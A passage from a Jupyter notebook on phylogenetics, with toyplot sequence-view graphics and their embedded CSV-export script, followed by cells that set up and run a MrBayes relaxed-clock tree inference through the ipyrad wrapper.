y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"206.11250000000004\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"206.11250000000004\"></rect><g transform=\"translate(127.0,224.70312500000006)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r7-1</text></g><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"219.00625000000005\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"219.00625000000005\"></rect></g></svg><div class=\"toyplot-behavior\"><script>(function()\n", "{\n", "var modules={};\n", "modules[\"toyplot/tables\"] = (function()\n", " {\n", " var tables = [];\n", "\n", " var module = {};\n", "\n", " module.set = function(owner, key, names, columns)\n", " {\n", " tables.push({owner: owner, key: key, names: names, columns: columns});\n", " }\n", "\n", " module.get = function(owner, key)\n", " {\n", " for(var i = 0; i != tables.length; ++i)\n", " {\n", " var table = tables[i];\n", " if(table.owner != owner)\n", " continue;\n", " if(table.key != key)\n", " continue;\n", " return {names: table.names, columns: table.columns};\n", " }\n", " }\n", "\n", " module.get_csv = function(owner, key)\n", " {\n", " var table = module.get(owner, key);\n", " if(table != undefined)\n", " {\n", " var csv = \"\";\n", " csv += table.names.join(\",\") + \"\\n\";\n", " for(var i = 0; i != table.columns[0].length; ++i)\n", " {\n", " for(var j = 0; j != table.columns.length; ++j)\n", " {\n", " if(j)\n", " csv += \",\";\n", " csv += table.columns[j][i];\n", " }\n", " csv += \"\\n\";\n", " }\n", " return csv;\n", " }\n", " }\n", "\n", " return module;\n", " })();\n", "modules[\"toyplot/root/id\"] = \"tcef305816b72449c83564a23a96fb9e7\";\n", "modules[\"toyplot/root\"] = (function(root_id)\n", " {\n", " return document.querySelector(\"#\" + root_id);\n", " })(modules[\"toyplot/root/id\"]);\n", "modules[\"toyplot/canvas/id\"] = \"td0b33096e6bc48ee83505fbf23304894\";\n", "modules[\"toyplot/canvas\"] = (function(canvas_id)\n", " {\n", " return document.querySelector(\"#\" + canvas_id);\n", " })(modules[\"toyplot/canvas/id\"]);\n", "modules[\"toyplot/menus/context\"] = (function(root, canvas)\n", " {\n", " var wrapper = document.createElement(\"div\");\n", " wrapper.innerHTML = \"<ul class='toyplot-context-menu' style='background:#eee; border:1px solid #b8b8b8; border-radius:5px; box-shadow: 0px 0px 8px rgba(0%,0%,0%,0.25); margin:0; padding:3px 0; position:fixed; visibility:hidden;'></ul>\"\n", " var menu = wrapper.firstChild;\n", "\n", " root.appendChild(menu);\n", "\n", " var items = [];\n", "\n", " var ignore_mouseup = null;\n", " function open_menu(e)\n", " {\n", " var show_menu = false;\n", " for(var index=0; index != items.length; ++index)\n", " {\n", " var item = items[index];\n", " if(item.show(e))\n", " {\n", " item.item.style.display = \"block\";\n", " show_menu = true;\n", " }\n", " else\n", " {\n", " item.item.style.display = \"none\";\n", " }\n", " }\n", "\n", " if(show_menu)\n", " {\n", " ignore_mouseup = true;\n", " menu.style.left = (e.clientX + 1) + \"px\";\n", " menu.style.top = (e.clientY - 5) + \"px\";\n", " menu.style.visibility = \"visible\";\n", " e.stopPropagation();\n", " e.preventDefault();\n", " }\n", " }\n", "\n", " function close_menu()\n", " {\n", " menu.style.visibility = \"hidden\";\n", " }\n", "\n", " function contextmenu(e)\n", " {\n", " open_menu(e);\n", " }\n", "\n", " function mousemove(e)\n", " {\n", " ignore_mouseup = false;\n", " }\n", "\n", " function mouseup(e)\n", " {\n", " if(ignore_mouseup)\n", " {\n", " ignore_mouseup = false;\n", " return;\n", " }\n", " close_menu();\n", " }\n", "\n", " function keydown(e)\n", " {\n", " if(e.key == \"Escape\" || e.key == \"Esc\" || e.keyCode == 27)\n", " {\n", " close_menu();\n", " }\n", " }\n", "\n", " canvas.addEventListener(\"contextmenu\", contextmenu);\n", " canvas.addEventListener(\"mousemove\", mousemove);\n", " document.addEventListener(\"mouseup\", mouseup);\n", " document.addEventListener(\"keydown\", keydown);\n", "\n", " var module = {};\n", " module.add_item = function(label, show, activate)\n", " {\n", " var wrapper = document.createElement(\"div\");\n", " wrapper.innerHTML = \"<li class='toyplot-context-menu-item' style='background:#eee; color:#333; padding:2px 20px; list-style:none; margin:0; text-align:left;'>\" + label + \"</li>\"\n", " var item = wrapper.firstChild;\n", "\n", " items.push({item: item, show: show});\n", "\n", " function mouseover()\n", " {\n", " this.style.background = \"steelblue\";\n", " this.style.color = \"white\";\n", " }\n", "\n", " function mouseout()\n", " {\n", " this.style.background = \"#eee\";\n", " this.style.color = \"#333\";\n", " }\n", "\n", " function choose_item(e)\n", " {\n", " close_menu();\n", " activate();\n", "\n", " e.stopPropagation();\n", " e.preventDefault();\n", " }\n", "\n", " item.addEventListener(\"mouseover\", mouseover);\n", " item.addEventListener(\"mouseout\", mouseout);\n", " item.addEventListener(\"mouseup\", choose_item);\n", " item.addEventListener(\"contextmenu\", choose_item);\n", "\n", " menu.appendChild(item);\n", " };\n", " return module;\n", " })(modules[\"toyplot/root\"],modules[\"toyplot/canvas\"]);\n", "modules[\"toyplot/io\"] = (function()\n", " {\n", " var module = {};\n", " module.save_file = function(mime_type, charset, data, filename)\n", " {\n", " var uri = \"data:\" + mime_type + \";charset=\" + charset + \",\" + data;\n", " uri = encodeURI(uri);\n", "\n", " var link = document.createElement(\"a\");\n", " if(typeof link.download != \"undefined\")\n", " {\n", " link.href = uri;\n", " link.style = \"visibility:hidden\";\n", " link.download = filename;\n", "\n", " document.body.appendChild(link);\n", " link.click();\n", " document.body.removeChild(link);\n", " }\n", " else\n", " {\n", " window.open(uri);\n", " }\n", " };\n", " return module;\n", " })();\n", "(function(tables, context_menu, io, owner_id, key, label, names, columns, filename)\n", " {\n", " tables.set(owner_id, key, names, columns);\n", "\n", " var owner = document.querySelector(\"#\" + owner_id);\n", " function show_item(e)\n", " {\n", " return owner.contains(e.target);\n", " }\n", "\n", " function choose_item()\n", " {\n", " io.save_file(\"text/csv\", \"utf-8\", tables.get_csv(owner_id, key), filename + \".csv\");\n", " }\n", "\n", " context_menu.add_item(\"Save \" + label + \" as CSV\", show_item, choose_item);\n", " })(modules[\"toyplot/tables\"],modules[\"toyplot/menus/context\"],modules[\"toyplot/io\"],\"t3f8dae144bca4deeac6cb0d8df34d377\",\"data\",\"table data\",[\"r0-0\", null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null],[[\"r0-1\", \"r1-0\", \"r1-1\", \"r2-0\", \"r2-1\", \"r3-0\", \"r3-1\", \"r4-0\", \"r4-1\", \"r5-0\", \"r5-1\", \"r6-0\", \"r6-1\", \"r7-0\", \"r7-1\"], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null], [null, null, null, null, null, null, null, null, null, null, null, null, null, null, null]],\"toyplot\");\n", "})();</script></div></div>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "model.draw_seqview(idx=0, start=0, end=50);" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### (1) Infer a tree under a relaxed molecular clock model" ] }, { "cell_type": "code", "execution_count": 71, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Existing results loaded for run [3], see .trees attribute.\n", "brlenspr clock:uniform \n", "clockratepr normal(0.01,0.005) \n", "clockvarpr igr \n", "igrvarpr exp(10.0) \n", "nchains 4 \n", "ngen 1000000 \n", "nruns 2 \n", "samplefreq 1000 \n", "topologypr fixed(fixedtree) \n", "\n" ] } ], "source": [ "# init the mb object\n", "mb = ipa.mrbayes(\n", " data=\"/tmp/mbtest-1.nex\",\n", " name=\"itest-1\",\n", " workdir=\"/tmp\",\n", " clock_model=2,\n", " constraints=TREE,\n", " ngen=int(1e6),\n", " nruns=2,\n", ")\n", "\n", "# summary of priors/params\n", "print(mb.params)" ] }, { "cell_type": "code", "execution_count": 72, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "job itest-1 finished successfully\n" ] } ], "source": [ "# start the run\n", "mb.run(force=True)" ] }, { "cell_type": "code", "execution_count": 76, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div class=\"toyplot\" id=\"tfcd5ad1be8a349f4b29aa296cd245073\" style=\"text-align:center\"><svg class=\"toyplot-canvas-Canvas\" height=\"260.0px\" id=\"t47458f9628f14ce9acef093c822a5b27\" preserveAspectRatio=\"xMidYMid meet\" 